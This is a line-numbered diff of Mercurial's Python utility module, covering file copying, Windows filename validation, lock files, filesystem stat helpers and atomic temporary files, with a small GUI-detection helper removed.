1851 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1632 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1852 num += n
1633 num += n
1853 else:
1634 else:
1854 if hardlink is None:
1635 if hardlink is None:
1855 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1636 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1856 os.stat(os.path.dirname(dst)).st_dev)
1637 os.stat(os.path.dirname(dst)).st_dev)
1857 topic = gettopic()
1638 topic = gettopic()
1858
1639
1859 if hardlink:
1640 if hardlink:
1860 try:
1641 try:
1861 oslink(src, dst)
1642 oslink(src, dst)
1862 except (IOError, OSError):
1643 except (IOError, OSError):
1863 hardlink = False
1644 hardlink = False
1864 shutil.copy(src, dst)
1645 shutil.copy(src, dst)
1865 else:
1646 else:
1866 shutil.copy(src, dst)
1647 shutil.copy(src, dst)
1867 num += 1
1648 num += 1
1868 progress(topic, num)
1649 progress(topic, num)
1869 progress(topic, None)
1650 progress(topic, None)
1870
1651
1871 return hardlink, num
1652 return hardlink, num
1872
1653
1873 _winreservednames = {
1654 _winreservednames = {
1874 'con', 'prn', 'aux', 'nul',
1655 'con', 'prn', 'aux', 'nul',
1875 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1656 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1876 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1657 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1877 }
1658 }
1878 _winreservedchars = ':*?"<>|'
1659 _winreservedchars = ':*?"<>|'
1879 def checkwinfilename(path):
1660 def checkwinfilename(path):
1880 r'''Check that the base-relative path is a valid filename on Windows.
1661 r'''Check that the base-relative path is a valid filename on Windows.
1881 Returns None if the path is ok, or a UI string describing the problem.
1662 Returns None if the path is ok, or a UI string describing the problem.
1882
1663
1883 >>> checkwinfilename(b"just/a/normal/path")
1664 >>> checkwinfilename(b"just/a/normal/path")
1884 >>> checkwinfilename(b"foo/bar/con.xml")
1665 >>> checkwinfilename(b"foo/bar/con.xml")
1885 "filename contains 'con', which is reserved on Windows"
1666 "filename contains 'con', which is reserved on Windows"
1886 >>> checkwinfilename(b"foo/con.xml/bar")
1667 >>> checkwinfilename(b"foo/con.xml/bar")
1887 "filename contains 'con', which is reserved on Windows"
1668 "filename contains 'con', which is reserved on Windows"
1888 >>> checkwinfilename(b"foo/bar/xml.con")
1669 >>> checkwinfilename(b"foo/bar/xml.con")
1889 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1670 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1890 "filename contains 'AUX', which is reserved on Windows"
1671 "filename contains 'AUX', which is reserved on Windows"
1891 >>> checkwinfilename(b"foo/bar/bla:.txt")
1672 >>> checkwinfilename(b"foo/bar/bla:.txt")
1892 "filename contains ':', which is reserved on Windows"
1673 "filename contains ':', which is reserved on Windows"
1893 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1674 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1894 "filename contains '\\x07', which is invalid on Windows"
1675 "filename contains '\\x07', which is invalid on Windows"
1895 >>> checkwinfilename(b"foo/bar/bla ")
1676 >>> checkwinfilename(b"foo/bar/bla ")
1896 "filename ends with ' ', which is not allowed on Windows"
1677 "filename ends with ' ', which is not allowed on Windows"
1897 >>> checkwinfilename(b"../bar")
1678 >>> checkwinfilename(b"../bar")
1898 >>> checkwinfilename(b"foo\\")
1679 >>> checkwinfilename(b"foo\\")
1899 "filename ends with '\\', which is invalid on Windows"
1680 "filename ends with '\\', which is invalid on Windows"
1900 >>> checkwinfilename(b"foo\\/bar")
1681 >>> checkwinfilename(b"foo\\/bar")
1901 "directory name ends with '\\', which is invalid on Windows"
1682 "directory name ends with '\\', which is invalid on Windows"
1902 '''
1683 '''
1903 if path.endswith('\\'):
1684 if path.endswith('\\'):
1904 return _("filename ends with '\\', which is invalid on Windows")
1685 return _("filename ends with '\\', which is invalid on Windows")
1905 if '\\/' in path:
1686 if '\\/' in path:
1906 return _("directory name ends with '\\', which is invalid on Windows")
1687 return _("directory name ends with '\\', which is invalid on Windows")
1907 for n in path.replace('\\', '/').split('/'):
1688 for n in path.replace('\\', '/').split('/'):
1908 if not n:
1689 if not n:
1909 continue
1690 continue
1910 for c in _filenamebytestr(n):
1691 for c in _filenamebytestr(n):
1911 if c in _winreservedchars:
1692 if c in _winreservedchars:
1912 return _("filename contains '%s', which is reserved "
1693 return _("filename contains '%s', which is reserved "
1913 "on Windows") % c
1694 "on Windows") % c
1914 if ord(c) <= 31:
1695 if ord(c) <= 31:
1915 return _("filename contains '%s', which is invalid "
1696 return _("filename contains '%s', which is invalid "
1916 "on Windows") % stringutil.escapestr(c)
1697 "on Windows") % stringutil.escapestr(c)
1917 base = n.split('.')[0]
1698 base = n.split('.')[0]
1918 if base and base.lower() in _winreservednames:
1699 if base and base.lower() in _winreservednames:
1919 return _("filename contains '%s', which is reserved "
1700 return _("filename contains '%s', which is reserved "
1920 "on Windows") % base
1701 "on Windows") % base
1921 t = n[-1:]
1702 t = n[-1:]
1922 if t in '. ' and n not in '..':
1703 if t in '. ' and n not in '..':
1923 return _("filename ends with '%s', which is not allowed "
1704 return _("filename ends with '%s', which is not allowed "
1924 "on Windows") % t
1705 "on Windows") % t
1925
1706
1926 if pycompat.iswindows:
1707 if pycompat.iswindows:
1927 checkosfilename = checkwinfilename
1708 checkosfilename = checkwinfilename
1928 timer = time.clock
1709 timer = time.clock
1929 else:
1710 else:
1930 checkosfilename = platform.checkosfilename
1711 checkosfilename = platform.checkosfilename
1931 timer = time.time
1712 timer = time.time
1932
1713
1933 if safehasattr(time, "perf_counter"):
1714 if safehasattr(time, "perf_counter"):
1934 timer = time.perf_counter
1715 timer = time.perf_counter
1935
1716
1936 def makelock(info, pathname):
1717 def makelock(info, pathname):
1937 """Create a lock file atomically if possible
1718 """Create a lock file atomically if possible
1938
1719
1939 This may leave a stale lock file if symlink isn't supported and signal
1720 This may leave a stale lock file if symlink isn't supported and signal
1940 interrupt is enabled.
1721 interrupt is enabled.
1941 """
1722 """
1942 try:
1723 try:
1943 return os.symlink(info, pathname)
1724 return os.symlink(info, pathname)
1944 except OSError as why:
1725 except OSError as why:
1945 if why.errno == errno.EEXIST:
1726 if why.errno == errno.EEXIST:
1946 raise
1727 raise
1947 except AttributeError: # no symlink in os
1728 except AttributeError: # no symlink in os
1948 pass
1729 pass
1949
1730
1950 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1731 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1951 ld = os.open(pathname, flags)
1732 ld = os.open(pathname, flags)
1952 os.write(ld, info)
1733 os.write(ld, info)
1953 os.close(ld)
1734 os.close(ld)
1954
1735
1955 def readlock(pathname):
1736 def readlock(pathname):
1956 try:
1737 try:
1957 return os.readlink(pathname)
1738 return os.readlink(pathname)
1958 except OSError as why:
1739 except OSError as why:
1959 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1740 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1960 raise
1741 raise
1961 except AttributeError: # no symlink in os
1742 except AttributeError: # no symlink in os
1962 pass
1743 pass
1963 fp = posixfile(pathname, 'rb')
1744 fp = posixfile(pathname, 'rb')
1964 r = fp.read()
1745 r = fp.read()
1965 fp.close()
1746 fp.close()
1966 return r
1747 return r
1967
1748
1968 def fstat(fp):
1749 def fstat(fp):
1969 '''stat file object that may not have fileno method.'''
1750 '''stat file object that may not have fileno method.'''
1970 try:
1751 try:
1971 return os.fstat(fp.fileno())
1752 return os.fstat(fp.fileno())
1972 except AttributeError:
1753 except AttributeError:
1973 return os.stat(fp.name)
1754 return os.stat(fp.name)
1974
1755
1975 # File system features
1756 # File system features
1976
1757
1977 def fscasesensitive(path):
1758 def fscasesensitive(path):
1978 """
1759 """
1979 Return true if the given path is on a case-sensitive filesystem
1760 Return true if the given path is on a case-sensitive filesystem
1980
1761
1981 Requires a path (like /foo/.hg) ending with a foldable final
1762 Requires a path (like /foo/.hg) ending with a foldable final
1982 directory component.
1763 directory component.
1983 """
1764 """
1984 s1 = os.lstat(path)
1765 s1 = os.lstat(path)
1985 d, b = os.path.split(path)
1766 d, b = os.path.split(path)
1986 b2 = b.upper()
1767 b2 = b.upper()
1987 if b == b2:
1768 if b == b2:
1988 b2 = b.lower()
1769 b2 = b.lower()
1989 if b == b2:
1770 if b == b2:
1990 return True # no evidence against case sensitivity
1771 return True # no evidence against case sensitivity
1991 p2 = os.path.join(d, b2)
1772 p2 = os.path.join(d, b2)
1992 try:
1773 try:
1993 s2 = os.lstat(p2)
1774 s2 = os.lstat(p2)
1994 if s2 == s1:
1775 if s2 == s1:
1995 return False
1776 return False
1996 return True
1777 return True
1997 except OSError:
1778 except OSError:
1998 return True
1779 return True
1999
1780
2000 try:
1781 try:
2001 import re2
1782 import re2
2002 _re2 = None
1783 _re2 = None
2003 except ImportError:
1784 except ImportError:
2004 _re2 = False
1785 _re2 = False
2005
1786
2006 class _re(object):
1787 class _re(object):
2007 def _checkre2(self):
1788 def _checkre2(self):
2008 global _re2
1789 global _re2
2009 try:
1790 try:
2010 # check if match works, see issue3964
1791 # check if match works, see issue3964
2011 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1792 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2012 except ImportError:
1793 except ImportError:
2013 _re2 = False
1794 _re2 = False
2014
1795
2015 def compile(self, pat, flags=0):
1796 def compile(self, pat, flags=0):
2016 '''Compile a regular expression, using re2 if possible
1797 '''Compile a regular expression, using re2 if possible
2017
1798
2018 For best performance, use only re2-compatible regexp features. The
1799 For best performance, use only re2-compatible regexp features. The
2019 only flags from the re module that are re2-compatible are
1800 only flags from the re module that are re2-compatible are
2020 IGNORECASE and MULTILINE.'''
1801 IGNORECASE and MULTILINE.'''
2021 if _re2 is None:
1802 if _re2 is None:
2022 self._checkre2()
1803 self._checkre2()
2023 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1804 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2024 if flags & remod.IGNORECASE:
1805 if flags & remod.IGNORECASE:
2025 pat = '(?i)' + pat
1806 pat = '(?i)' + pat
2026 if flags & remod.MULTILINE:
1807 if flags & remod.MULTILINE:
2027 pat = '(?m)' + pat
1808 pat = '(?m)' + pat
2028 try:
1809 try:
2029 return re2.compile(pat)
1810 return re2.compile(pat)
2030 except re2.error:
1811 except re2.error:
2031 pass
1812 pass
2032 return remod.compile(pat, flags)
1813 return remod.compile(pat, flags)
2033
1814
2034 @propertycache
1815 @propertycache
2035 def escape(self):
1816 def escape(self):
2036 '''Return the version of escape corresponding to self.compile.
1817 '''Return the version of escape corresponding to self.compile.
2037
1818
2038 This is imperfect because whether re2 or re is used for a particular
1819 This is imperfect because whether re2 or re is used for a particular
2039 function depends on the flags, etc, but it's the best we can do.
1820 function depends on the flags, etc, but it's the best we can do.
2040 '''
1821 '''
2041 global _re2
1822 global _re2
2042 if _re2 is None:
1823 if _re2 is None:
2043 self._checkre2()
1824 self._checkre2()
2044 if _re2:
1825 if _re2:
2045 return re2.escape
1826 return re2.escape
2046 else:
1827 else:
2047 return remod.escape
1828 return remod.escape
2048
1829
2049 re = _re()
1830 re = _re()
2050
1831
2051 _fspathcache = {}
1832 _fspathcache = {}
2052 def fspath(name, root):
1833 def fspath(name, root):
2053 '''Get name in the case stored in the filesystem
1834 '''Get name in the case stored in the filesystem
2054
1835
2055 The name should be relative to root, and be normcase-ed for efficiency.
1836 The name should be relative to root, and be normcase-ed for efficiency.
2056
1837
2057 Note that this function is unnecessary, and should not be
1838 Note that this function is unnecessary, and should not be
2058 called, for case-sensitive filesystems (simply because it's expensive).
1839 called, for case-sensitive filesystems (simply because it's expensive).
2059
1840
2060 The root should be normcase-ed, too.
1841 The root should be normcase-ed, too.
2061 '''
1842 '''
2062 def _makefspathcacheentry(dir):
1843 def _makefspathcacheentry(dir):
2063 return dict((normcase(n), n) for n in os.listdir(dir))
1844 return dict((normcase(n), n) for n in os.listdir(dir))
2064
1845
2065 seps = pycompat.ossep
1846 seps = pycompat.ossep
2066 if pycompat.osaltsep:
1847 if pycompat.osaltsep:
2067 seps = seps + pycompat.osaltsep
1848 seps = seps + pycompat.osaltsep
2068 # Protect backslashes. This gets silly very quickly.
1849 # Protect backslashes. This gets silly very quickly.
2069 seps.replace('\\','\\\\')
1850 seps.replace('\\','\\\\')
2070 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1851 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2071 dir = os.path.normpath(root)
1852 dir = os.path.normpath(root)
2072 result = []
1853 result = []
2073 for part, sep in pattern.findall(name):
1854 for part, sep in pattern.findall(name):
2074 if sep:
1855 if sep:
2075 result.append(sep)
1856 result.append(sep)
2076 continue
1857 continue
2077
1858
2078 if dir not in _fspathcache:
1859 if dir not in _fspathcache:
2079 _fspathcache[dir] = _makefspathcacheentry(dir)
1860 _fspathcache[dir] = _makefspathcacheentry(dir)
2080 contents = _fspathcache[dir]
1861 contents = _fspathcache[dir]
2081
1862
2082 found = contents.get(part)
1863 found = contents.get(part)
2083 if not found:
1864 if not found:
2084 # retry "once per directory" per "dirstate.walk" which
1865 # retry "once per directory" per "dirstate.walk" which
2085 # may take place for each patches of "hg qpush", for example
1866 # may take place for each patches of "hg qpush", for example
2086 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1867 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2087 found = contents.get(part)
1868 found = contents.get(part)
2088
1869
2089 result.append(found or part)
1870 result.append(found or part)
2090 dir = os.path.join(dir, part)
1871 dir = os.path.join(dir, part)
2091
1872
2092 return ''.join(result)
1873 return ''.join(result)
2093
1874
2094 def checknlink(testfile):
1875 def checknlink(testfile):
2095 '''check whether hardlink count reporting works properly'''
1876 '''check whether hardlink count reporting works properly'''
2096
1877
2097 # testfile may be open, so we need a separate file for checking to
1878 # testfile may be open, so we need a separate file for checking to
2098 # work around issue2543 (or testfile may get lost on Samba shares)
1879 # work around issue2543 (or testfile may get lost on Samba shares)
2099 f1, f2, fp = None, None, None
1880 f1, f2, fp = None, None, None
2100 try:
1881 try:
2101 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1882 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2102 suffix='1~', dir=os.path.dirname(testfile))
1883 suffix='1~', dir=os.path.dirname(testfile))
2103 os.close(fd)
1884 os.close(fd)
2104 f2 = '%s2~' % f1[:-2]
1885 f2 = '%s2~' % f1[:-2]
2105
1886
2106 oslink(f1, f2)
1887 oslink(f1, f2)
2107 # nlinks() may behave differently for files on Windows shares if
1888 # nlinks() may behave differently for files on Windows shares if
2108 # the file is open.
1889 # the file is open.
2109 fp = posixfile(f2)
1890 fp = posixfile(f2)
2110 return nlinks(f2) > 1
1891 return nlinks(f2) > 1
2111 except OSError:
1892 except OSError:
2112 return False
1893 return False
2113 finally:
1894 finally:
2114 if fp is not None:
1895 if fp is not None:
2115 fp.close()
1896 fp.close()
2116 for f in (f1, f2):
1897 for f in (f1, f2):
2117 try:
1898 try:
2118 if f is not None:
1899 if f is not None:
2119 os.unlink(f)
1900 os.unlink(f)
2120 except OSError:
1901 except OSError:
2121 pass
1902 pass
2122
1903
2123 def endswithsep(path):
1904 def endswithsep(path):
2124 '''Check path ends with os.sep or os.altsep.'''
1905 '''Check path ends with os.sep or os.altsep.'''
2125 return (path.endswith(pycompat.ossep)
1906 return (path.endswith(pycompat.ossep)
2126 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1907 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2127
1908
2128 def splitpath(path):
1909 def splitpath(path):
2129 '''Split path by os.sep.
1910 '''Split path by os.sep.
2130 Note that this function does not use os.altsep because this is
1911 Note that this function does not use os.altsep because this is
2131 an alternative of simple "xxx.split(os.sep)".
1912 an alternative of simple "xxx.split(os.sep)".
2132 It is recommended to use os.path.normpath() before using this
1913 It is recommended to use os.path.normpath() before using this
2133 function if need.'''
1914 function if need.'''
2134 return path.split(pycompat.ossep)
1915 return path.split(pycompat.ossep)
2135
1916
2136 def gui():
2137 '''Are we running in a GUI?'''
2138 if pycompat.isdarwin:
2139 if 'SSH_CONNECTION' in encoding.environ:
2140 # handle SSH access to a box where the user is logged in
2141 return False
2142 elif getattr(osutil, 'isgui', None):
2143 # check if a CoreGraphics session is available
2144 return osutil.isgui()
2145 else:
2146 # pure build; use a safe default
2147 return True
2148 else:
2149 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2150
2151 def mktempcopy(name, emptyok=False, createmode=None):
1917 def mktempcopy(name, emptyok=False, createmode=None):
2152 """Create a temporary file with the same contents from name
1918 """Create a temporary file with the same contents from name
2153
1919
2154 The permission bits are copied from the original file.
1920 The permission bits are copied from the original file.
2155
1921
2156 If the temporary file is going to be truncated immediately, you
1922 If the temporary file is going to be truncated immediately, you
2157 can use emptyok=True as an optimization.
1923 can use emptyok=True as an optimization.
2158
1924
2159 Returns the name of the temporary file.
1925 Returns the name of the temporary file.
2160 """
1926 """
2161 d, fn = os.path.split(name)
1927 d, fn = os.path.split(name)
2162 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1928 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2163 os.close(fd)
1929 os.close(fd)
2164 # Temporary files are created with mode 0600, which is usually not
1930 # Temporary files are created with mode 0600, which is usually not
2165 # what we want. If the original file already exists, just copy
1931 # what we want. If the original file already exists, just copy
2166 # its mode. Otherwise, manually obey umask.
1932 # its mode. Otherwise, manually obey umask.
2167 copymode(name, temp, createmode)
1933 copymode(name, temp, createmode)
2168 if emptyok:
1934 if emptyok:
2169 return temp
1935 return temp
2170 try:
1936 try:
2171 try:
1937 try:
2172 ifp = posixfile(name, "rb")
1938 ifp = posixfile(name, "rb")
2173 except IOError as inst:
1939 except IOError as inst:
2174 if inst.errno == errno.ENOENT:
1940 if inst.errno == errno.ENOENT:
2175 return temp
1941 return temp
2176 if not getattr(inst, 'filename', None):
1942 if not getattr(inst, 'filename', None):
2177 inst.filename = name
1943 inst.filename = name
2178 raise
1944 raise
2179 ofp = posixfile(temp, "wb")
1945 ofp = posixfile(temp, "wb")
2180 for chunk in filechunkiter(ifp):
1946 for chunk in filechunkiter(ifp):
2181 ofp.write(chunk)
1947 ofp.write(chunk)
2182 ifp.close()
1948 ifp.close()
2183 ofp.close()
1949 ofp.close()
2184 except: # re-raises
1950 except: # re-raises
2185 try:
1951 try:
2186 os.unlink(temp)
1952 os.unlink(temp)
2187 except OSError:
1953 except OSError:
2188 pass
1954 pass
2189 raise
1955 raise
2190 return temp
1956 return temp
2191
1957
2192 class filestat(object):
1958 class filestat(object):
2193 """help to exactly detect change of a file
1959 """help to exactly detect change of a file
2194
1960
2195 'stat' attribute is result of 'os.stat()' if specified 'path'
1961 'stat' attribute is result of 'os.stat()' if specified 'path'
2196 exists. Otherwise, it is None. This can avoid preparative
1962 exists. Otherwise, it is None. This can avoid preparative
2197 'exists()' examination on client side of this class.
1963 'exists()' examination on client side of this class.
2198 """
1964 """
2199 def __init__(self, stat):
1965 def __init__(self, stat):
2200 self.stat = stat
1966 self.stat = stat
2201
1967
2202 @classmethod
1968 @classmethod
2203 def frompath(cls, path):
1969 def frompath(cls, path):
2204 try:
1970 try:
2205 stat = os.stat(path)
1971 stat = os.stat(path)
2206 except OSError as err:
1972 except OSError as err:
2207 if err.errno != errno.ENOENT:
1973 if err.errno != errno.ENOENT:
2208 raise
1974 raise
2209 stat = None
1975 stat = None
2210 return cls(stat)
1976 return cls(stat)
2211
1977
2212 @classmethod
1978 @classmethod
2213 def fromfp(cls, fp):
1979 def fromfp(cls, fp):
2214 stat = os.fstat(fp.fileno())
1980 stat = os.fstat(fp.fileno())
2215 return cls(stat)
1981 return cls(stat)
2216
1982
2217 __hash__ = object.__hash__
1983 __hash__ = object.__hash__
2218
1984
2219 def __eq__(self, old):
1985 def __eq__(self, old):
2220 try:
1986 try:
2221 # if ambiguity between stat of new and old file is
1987 # if ambiguity between stat of new and old file is
2222 # avoided, comparison of size, ctime and mtime is enough
1988 # avoided, comparison of size, ctime and mtime is enough
2223 # to exactly detect change of a file regardless of platform
1989 # to exactly detect change of a file regardless of platform
2224 return (self.stat.st_size == old.stat.st_size and
1990 return (self.stat.st_size == old.stat.st_size and
2225 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1991 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2226 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1992 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2227 except AttributeError:
1993 except AttributeError:
2228 pass
1994 pass
2229 try:
1995 try:
2230 return self.stat is None and old.stat is None
1996 return self.stat is None and old.stat is None
2231 except AttributeError:
1997 except AttributeError:
2232 return False
1998 return False
2233
1999
2234 def isambig(self, old):
2000 def isambig(self, old):
2235 """Examine whether new (= self) stat is ambiguous against old one
2001 """Examine whether new (= self) stat is ambiguous against old one
2236
2002
2237 "S[N]" below means stat of a file at N-th change:
2003 "S[N]" below means stat of a file at N-th change:
2238
2004
2239 - S[n-1].ctime < S[n].ctime: can detect change of a file
2005 - S[n-1].ctime < S[n].ctime: can detect change of a file
2240 - S[n-1].ctime == S[n].ctime
2006 - S[n-1].ctime == S[n].ctime
2241 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2007 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2242 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2008 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2243 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2009 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2244 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2010 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2245
2011
2246 Case (*2) above means that a file was changed twice or more at
2012 Case (*2) above means that a file was changed twice or more at
2247 same time in sec (= S[n-1].ctime), and comparison of timestamp
2013 same time in sec (= S[n-1].ctime), and comparison of timestamp
2248 is ambiguous.
2014 is ambiguous.
2249
2015
2250 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2016 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2251 timestamp is ambiguous".
2017 timestamp is ambiguous".
2252
2018
2253 But advancing mtime only in case (*2) doesn't work as
2019 But advancing mtime only in case (*2) doesn't work as
2254 expected, because naturally advanced S[n].mtime in case (*1)
2020 expected, because naturally advanced S[n].mtime in case (*1)
2255 might be equal to manually advanced S[n-1 or earlier].mtime.
2021 might be equal to manually advanced S[n-1 or earlier].mtime.
2256
2022
2257 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2023 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2258 treated as ambiguous regardless of mtime, to avoid overlooking
2024 treated as ambiguous regardless of mtime, to avoid overlooking
2259 by confliction between such mtime.
2025 by confliction between such mtime.
2260
2026
2261 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2027 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2262 S[n].mtime", even if size of a file isn't changed.
2028 S[n].mtime", even if size of a file isn't changed.
2263 """
2029 """
2264 try:
2030 try:
2265 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2031 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2266 except AttributeError:
2032 except AttributeError:
2267 return False
2033 return False
2268
2034
2269 def avoidambig(self, path, old):
2035 def avoidambig(self, path, old):
2270 """Change file stat of specified path to avoid ambiguity
2036 """Change file stat of specified path to avoid ambiguity
2271
2037
2272 'old' should be previous filestat of 'path'.
2038 'old' should be previous filestat of 'path'.
2273
2039
2274 This skips avoiding ambiguity, if a process doesn't have
2040 This skips avoiding ambiguity, if a process doesn't have
2275 appropriate privileges for 'path'. This returns False in this
2041 appropriate privileges for 'path'. This returns False in this
2276 case.
2042 case.
2277
2043
2278 Otherwise, this returns True, as "ambiguity is avoided".
2044 Otherwise, this returns True, as "ambiguity is avoided".
2279 """
2045 """
2280 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2046 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2281 try:
2047 try:
2282 os.utime(path, (advanced, advanced))
2048 os.utime(path, (advanced, advanced))
2283 except OSError as inst:
2049 except OSError as inst:
2284 if inst.errno == errno.EPERM:
2050 if inst.errno == errno.EPERM:
2285 # utime() on the file created by another user causes EPERM,
2051 # utime() on the file created by another user causes EPERM,
2286 # if a process doesn't have appropriate privileges
2052 # if a process doesn't have appropriate privileges
2287 return False
2053 return False
2288 raise
2054 raise
2289 return True
2055 return True
2290
2056
2291 def __ne__(self, other):
2057 def __ne__(self, other):
2292 return not self == other
2058 return not self == other
2293
2059
2294 class atomictempfile(object):
2060 class atomictempfile(object):
2295 '''writable file object that atomically updates a file
2061 '''writable file object that atomically updates a file
2296
2062
2297 All writes will go to a temporary copy of the original file. Call
2063 All writes will go to a temporary copy of the original file. Call
2298 close() when you are done writing, and atomictempfile will rename
2064 close() when you are done writing, and atomictempfile will rename
2299 the temporary copy to the original name, making the changes
2065 the temporary copy to the original name, making the changes
2300 visible. If the object is destroyed without being closed, all your
2066 visible. If the object is destroyed without being closed, all your
2301 writes are discarded.
2067 writes are discarded.
2302
2068
2303 checkambig argument of constructor is used with filestat, and is
2069 checkambig argument of constructor is used with filestat, and is
2304 useful only if target file is guarded by any lock (e.g. repo.lock
2070 useful only if target file is guarded by any lock (e.g. repo.lock
2305 or repo.wlock).
2071 or repo.wlock).
2306 '''
2072 '''
2307 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2073 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2308 self.__name = name # permanent name
2074 self.__name = name # permanent name
2309 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2075 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2310 createmode=createmode)
2076 createmode=createmode)
2311 self._fp = posixfile(self._tempname, mode)
2077 self._fp = posixfile(self._tempname, mode)
2312 self._checkambig = checkambig
2078 self._checkambig = checkambig
2313
2079
2314 # delegated methods
2080 # delegated methods
2315 self.read = self._fp.read
2081 self.read = self._fp.read
2316 self.write = self._fp.write
2082 self.write = self._fp.write
2317 self.seek = self._fp.seek
2083 self.seek = self._fp.seek
2318 self.tell = self._fp.tell
2084 self.tell = self._fp.tell
2319 self.fileno = self._fp.fileno
2085 self.fileno = self._fp.fileno
2320
2086
2321 def close(self):
2087 def close(self):
2322 if not self._fp.closed:
2088 if not self._fp.closed:
2323 self._fp.close()
2089 self._fp.close()
2324 filename = localpath(self.__name)
2090 filename = localpath(self.__name)
2325 oldstat = self._checkambig and filestat.frompath(filename)
2091 oldstat = self._checkambig and filestat.frompath(filename)
2326 if oldstat and oldstat.stat:
2092 if oldstat and oldstat.stat:
2327 rename(self._tempname, filename)
2093 rename(self._tempname, filename)
2328 newstat = filestat.frompath(filename)
2094 newstat = filestat.frompath(filename)
2329 if newstat.isambig(oldstat):
2095 if newstat.isambig(oldstat):
2330 # stat of changed file is ambiguous to original one
2096 # stat of changed file is ambiguous to original one
2331 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2097 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2332 os.utime(filename, (advanced, advanced))
2098 os.utime(filename, (advanced, advanced))
2333 else:
2099 else:
2334 rename(self._tempname, filename)
2100 rename(self._tempname, filename)
2335
2101
2336 def discard(self):
2102 def discard(self):
2337 if not self._fp.closed:
2103 if not self._fp.closed:
2338 try:
2104 try:
2339 os.unlink(self._tempname)
2105 os.unlink(self._tempname)
2340 except OSError:
2106 except OSError:
2341 pass
2107 pass
2342 self._fp.close()
2108 self._fp.close()
2343
2109
2344 def __del__(self):
2110 def __del__(self):
2345 if safehasattr(self, '_fp'): # constructor actually did something
2111 if safehasattr(self, '_fp'): # constructor actually did something
2346 self.discard()
2112 self.discard()
2347
2113
2348 def __enter__(self):
2114 def __enter__(self):
2349 return self
2115 return self
2350
2116
2351 def __exit__(self, exctype, excvalue, traceback):
2117 def __exit__(self, exctype, excvalue, traceback):
2352 if exctype is not None:
2118 if exctype is not None:
2353 self.discard()
2119 self.discard()
2354 else:
2120 else:
2355 self.close()
2121 self.close()
2356
2122
2357 def unlinkpath(f, ignoremissing=False):
2123 def unlinkpath(f, ignoremissing=False):
2358 """unlink and remove the directory if it is empty"""
2124 """unlink and remove the directory if it is empty"""
2359 if ignoremissing:
2125 if ignoremissing:
2360 tryunlink(f)
2126 tryunlink(f)
2361 else:
2127 else:
2362 unlink(f)
2128 unlink(f)
2363 # try removing directories that might now be empty
2129 # try removing directories that might now be empty
2364 try:
2130 try:
2365 removedirs(os.path.dirname(f))
2131 removedirs(os.path.dirname(f))
2366 except OSError:
2132 except OSError:
2367 pass
2133 pass
2368
2134
2369 def tryunlink(f):
2135 def tryunlink(f):
2370 """Attempt to remove a file, ignoring ENOENT errors."""
2136 """Attempt to remove a file, ignoring ENOENT errors."""
2371 try:
2137 try:
2372 unlink(f)
